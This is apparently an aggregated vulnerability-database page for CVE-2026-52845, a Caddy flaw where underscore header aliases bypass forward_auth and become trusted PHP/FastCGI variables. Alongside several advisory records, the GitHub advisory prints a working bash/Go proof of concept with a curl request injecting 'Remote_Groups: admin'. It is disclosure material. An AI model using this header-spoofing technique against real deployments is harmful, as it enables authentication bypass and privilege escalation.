Vulnerability-Lookup

CVE-2026-52845 (GCVE-0-2026-52845)

Vulnerability from cvelistv5 – Published: 2026-06-23 17:52 – Updated: 2026-07-15 00:46

Title

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

Summary

Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-24 14:25 UTC

CWE

CWE-287 - Improper Authentication
CWE-290 - Authentication Bypass by Spoofing
CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7606 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/caddyserver/caddy/security/adv…	x_refsource_CONFIRM
https://access.redhat.com/security/cve/CVE-2026-52845	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2491907	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

2 products

Vendor	Product	Version	CPE status
caddyserver	caddy	Affected: < 2.11.4	guessed
Red Hat	Red Hat Hardened Images	cpe:/a:redhat:hummingbird:1

Show details on NVD website

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                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-290",
                  "description": "CWE-290: Authentication Bypass by Spoofing",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-444",
                  "description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-23T17:52:01.871Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g"
            }
          ],
          "source": {
            "advisory": "GHSA-f59h-q822-g45g",
            "discovery": "UNKNOWN"
          },
          "title": "Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-52845",
        "datePublished": "2026-06-23T17:52:01.871Z",
        "dateReserved": "2026-06-08T18:41:27.724Z",
        "dateUpdated": "2026-07-15T00:46:09.498Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

CLEANSTART-2026-DI50489 (CVE-2026-52845)

Vulnerability from cleanstart – Published: 2026-09-20 00:37 – Updated: 2026-10-08 14:25 – Source website

Summary

Caddy is an extensible server platform that uses TLS by default

Details

Security vulnerability affects the caddy package. Caddy is an extensible server platform that uses TLS by default.

Severity

9.8 (Critical)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/CVE-2026-52845	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-52845	WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "caddy",
        "purl": "pkg:apk/cleanstart/caddy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.4-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Security vulnerability affects the caddy package. Caddy is an extensible server platform that uses TLS by default.",
  "id": "CLEANSTART-2026-DI50489",
  "modified": "2026-10-08T14:25:27Z",
  "published": "2026-09-20T00:37:35.449237Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-DI50489.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-52845"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52845"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy is an extensible server platform that uses TLS by default",
  "upstream": [
    "CVE-2026-52845"
  ]
}

FKIE_CVE-2026-52845

Vulnerability from fkie_nvd - Published: 2026-06-23 18:18 - Updated: 2026-07-15 01:16

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g	Exploit, Third Party Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-52845
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2491907
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g	Exploit, Third Party Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json

Impacted products

	Vendor	Product	Version
	caddyserver	caddy	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "caddy",
          "vendor": "caddyserver",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.11.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:hummingbird:1"
          ],
          "defaultStatus": "unaffected",
          "packageName": "caddy",
          "product": "Red Hat Hardened Images",
          "vendor": "Red Hat"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6CC2FFA3-3F35-452A-A0B6-C1B66C0C73E6",
              "versionEndExcluding": "2.11.4",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4."
    }
  ],
  "id": "CVE-2026-52845",
  "lastModified": "2026-07-15T01:16:22.240",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-52845",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-24T14:25:18.472130Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-23T18:18:05.267",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-52845"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491907"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        },
        {
          "lang": "en",
          "value": "CWE-290"
        },
        {
          "lang": "en",
          "value": "CWE-444"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-444"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-F59H-Q822-G45G

Vulnerability from github – Published: 2026-06-16 21:28 – Updated: 2026-07-20 21:02

Summary

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

Details

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
    "fmt"
    "log"
    "net"
    "net/http"
    "net/http/fcgi"
)

func main() {
    go func() {
        mux := http.NewServeMux()
        mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
            w.Header().Set("Remote-User", "alice")
            w.WriteHeader(http.StatusNoContent)
        })
        log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
    }()

    ln, err := net.Listen("tcp", "127.0.0.1:19010")
    if err != nil {
        log.Fatal(err)
    }
    log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
            r.Header.Get("Remote-User"),
            r.Header.Get("Remote-Groups"))
    })))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
    admin off
    auto_https off
    debug
}

:9082 {
    log
    root * $tmpdir/www
    forward_auth 127.0.0.1:19011 {
        uri /auth
        copy_headers Remote-User Remote-Groups
    }
    php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
    kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
    if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
       (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
        break
    fi
    sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
    if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
        break
    fi
    sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T21:28:28Z",
    "nvd_published_at": "2026-06-23T18:18:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`forward_auth copy_headers` deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through `php_fastcgi`, Caddy normalizes HTTP headers into CGI variables by replacing `-` with `_`.\n\nThis lets a client send an underscore alias that survives the `forward_auth` delete step but becomes the same PHP/FastCGI variable:\n\n```text\nRemote-Groups  -\u003e HTTP_REMOTE_GROUPS\nRemote_Groups  -\u003e HTTP_REMOTE_GROUPS\n\nRemote-User    -\u003e HTTP_REMOTE_USER\nRemote_User    -\u003e HTTP_REMOTE_USER\n```\n\nResult: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.\n\n### Details\n\n`forward_auth copy_headers` intentionally removes client-controlled headers before setting values from the auth response:\n\n- `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212`\n- `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222`\n\nThat delete is exact-field deletion through `http.Header.Del()`:\n\n- `modules/caddyhttp/headers/headers.go:255`\n- `modules/caddyhttp/headers/headers.go:281`\n\nSo deleting `Remote-Groups` does not delete `Remote_Groups`.\n\nLater, FastCGI exports all request headers into CGI variables:\n\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410`\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414`\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510`\n\nThe normalizer replaces hyphens with underscores:\n\n```go\nstrings.NewReplacer(\" \", \"_\", \"-\", \"_\")\n```\n\nSo the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.\n\nThis is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy\u0027s FastCGI export.\n\n### PoC\n\nRun from the Caddy repository root with `bash`:\n\n```bash\nset -euo pipefail\n\ntmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)\nmkdir -p \"$tmpdir/www\"\nprintf \u0027\u003c?php echo \"ok\"; ?\u003e\\n\u0027 \u003e \"$tmpdir/www/index.php\"\n\ncat \u003e \"$tmpdir/servers.go\" \u003c\u003c\u0027GO\u0027\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/fcgi\"\n)\n\nfunc main() {\n\tgo func() {\n\t\tmux := http.NewServeMux()\n\t\tmux.HandleFunc(\"/auth\", func(w http.ResponseWriter, r *http.Request) {\n\t\t\tw.Header().Set(\"Remote-User\", \"alice\")\n\t\t\tw.WriteHeader(http.StatusNoContent)\n\t\t})\n\t\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:19011\", mux))\n\t}()\n\n\tln, err := net.Listen(\"tcp\", \"127.0.0.1:19010\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Fprintf(w, \"HTTP_REMOTE_USER=%s\\nHTTP_REMOTE_GROUPS=%s\\n\",\n\t\t\tr.Header.Get(\"Remote-User\"),\n\t\t\tr.Header.Get(\"Remote-Groups\"))\n\t})))\n}\nGO\n\ncat \u003e \"$tmpdir/Caddyfile\" \u003c\u003cEOF\n{\n\tadmin off\n\tauto_https off\n\tdebug\n}\n\n:9082 {\n\tlog\n\troot * $tmpdir/www\n\tforward_auth 127.0.0.1:19011 {\n\t\turi /auth\n\t\tcopy_headers Remote-User Remote-Groups\n\t}\n\tphp_fastcgi 127.0.0.1:19010\n}\nEOF\n\ncleanup() {\n\tkill \"${caddy_pid:-}\" \"${servers_pid:-}\" 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\ngo run \"$tmpdir/servers.go\" \u003e\"$tmpdir/servers.log\" 2\u003e\u00261 \u0026\nservers_pid=$!\n\nfor i in $(seq 1 80); do\n\tif (echo \u003e /dev/tcp/127.0.0.1/19011) \u003e/dev/null 2\u003e\u00261 \u0026\u0026\n\t   (echo \u003e /dev/tcp/127.0.0.1/19010) \u003e/dev/null 2\u003e\u00261; then\n\t\tbreak\n\tfi\n\tsleep 0.25\ndone\n\ngo run ./cmd/caddy run --config \"$tmpdir/Caddyfile\" --adapter caddyfile \u003e\"$tmpdir/caddy.log\" 2\u003e\u00261 \u0026\ncaddy_pid=$!\n\nfor i in $(seq 1 80); do\n\tif (echo \u003e /dev/tcp/127.0.0.1/9082) \u003e/dev/null 2\u003e\u00261; then\n\t\tbreak\n\tfi\n\tsleep 0.25\ndone\n\ncurl --noproxy \u0027*\u0027 -v http://127.0.0.1:9082/index.php\ncurl --noproxy \u0027*\u0027 -v -H \u0027Remote_Groups: admin\u0027 http://127.0.0.1:9082/index.php\ncat \"$tmpdir/caddy.log\"\n```\n\nObserved on commit `6c675e29f87cbe7326983ddb6d739175119d394c`:\n\nBaseline:\n\n```text\n\u003e GET /index.php HTTP/1.1\n\u003c HTTP/1.1 200 OK\n\nHTTP_REMOTE_USER=alice\nHTTP_REMOTE_GROUPS=\n```\n\nWith attacker header:\n\n```text\n\u003e GET /index.php HTTP/1.1\n\u003e Remote_Groups: admin\n\u003c HTTP/1.1 200 OK\n\nHTTP_REMOTE_USER=alice\nHTTP_REMOTE_GROUPS=admin\n```\n\nCaddy debug log confirms the FastCGI environment contained:\n\n```text\n\"HTTP_REMOTE_USER\": \"alice\"\n\"HTTP_REMOTE_GROUPS\": \"admin\"\n```\n\nThe auth gateway returned `Remote-User: alice` only. It never returned `Remote-Groups`.\n\n### Impact\n\nThis affects Caddy deployments that use:\n\n- `forward_auth` with `copy_headers` for identity or authorization headers;\n- `php_fastcgi` / FastCGI after the auth check;\n- a PHP/FastCGI application that trusts the resulting `HTTP_*` variables.\n\nImpact examples:\n\n- deterministic group/role injection when the auth gateway omits an optional header, e.g. `Remote_Groups: admin` becomes `HTTP_REMOTE_GROUPS=admin`;\n- probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. `Remote-User` and `Remote_User` both map to `HTTP_REMOTE_USER`.\n\nRealistic examples include trusted-header SSO deployments such as Firefly III `remote_user_guard` using `HTTP_REMOTE_USER`, or MediaWiki `Auth_remoteuser` using `HTTP_X_AUTHENTIK_USERNAME`.\n\n## AI disclosure\n\nThe LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.",
  "id": "GHSA-f59h-q822-g45g",
  "modified": "2026-07-20T21:02:48Z",
  "published": "2026-06-16T21:28:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52845"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-52845"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491907"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`"
}

UBUNTU-CVE-2026-52845 (CVE-2026-52845)

Vulnerability from osv_ubuntu – Published: 2026-06-23 18:18 – Updated: 2026-07-02 16:16 – Source website

Details

Severity

8.1 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

8.1 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-52845	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-52845	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "caddy",
            "binary_version": "2.6.2-6ubuntu0.24.04.3+esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "caddy",
        "purl": "pkg:deb/ubuntu/caddy@2.6.2-6ubuntu0.24.04.3+esm2?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.6.2-6",
        "2.6.2-6ubuntu0.24.04.1",
        "2.6.2-6ubuntu0.24.04.2",
        "2.6.2-6ubuntu0.24.04.2+esm1",
        "2.6.2-6ubuntu0.24.04.3",
        "2.6.2-6ubuntu0.24.04.3+esm1",
        "2.6.2-6ubuntu0.24.04.3+esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "caddy",
            "binary_version": "2.6.2-12"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:25.10",
        "name": "caddy",
        "purl": "pkg:deb/ubuntu/caddy@2.6.2-12?arch=source\u0026distro=questing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.6.2-9",
        "2.6.2-11",
        "2.6.2-12"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "caddy",
            "binary_version": "2.6.2-14ubuntu0.26.04.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:26.04:LTS",
        "name": "caddy",
        "purl": "pkg:deb/ubuntu/caddy@2.6.2-14ubuntu0.26.04.1~esm1?arch=source\u0026distro=esm-apps/resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.6.2-12",
        "2.6.2-14",
        "2.6.2-14ubuntu0.26.04.1~esm1"
      ]
    }
  ],
  "aliases": [],
  "details": "Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.",
  "id": "UBUNTU-CVE-2026-52845",
  "modified": "2026-07-02T16:16:04Z",
  "published": "2026-06-23T18:18:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-52845"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52845"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-52845"
  ]
}

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

CVE-2026-52845 (GCVE-0-2026-52845)

CLEANSTART-2026-DI50489 (CVE-2026-52845)

FKIE_CVE-2026-52845

GHSA-F59H-Q822-G45G

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UBUNTU-CVE-2026-52845 (CVE-2026-52845)

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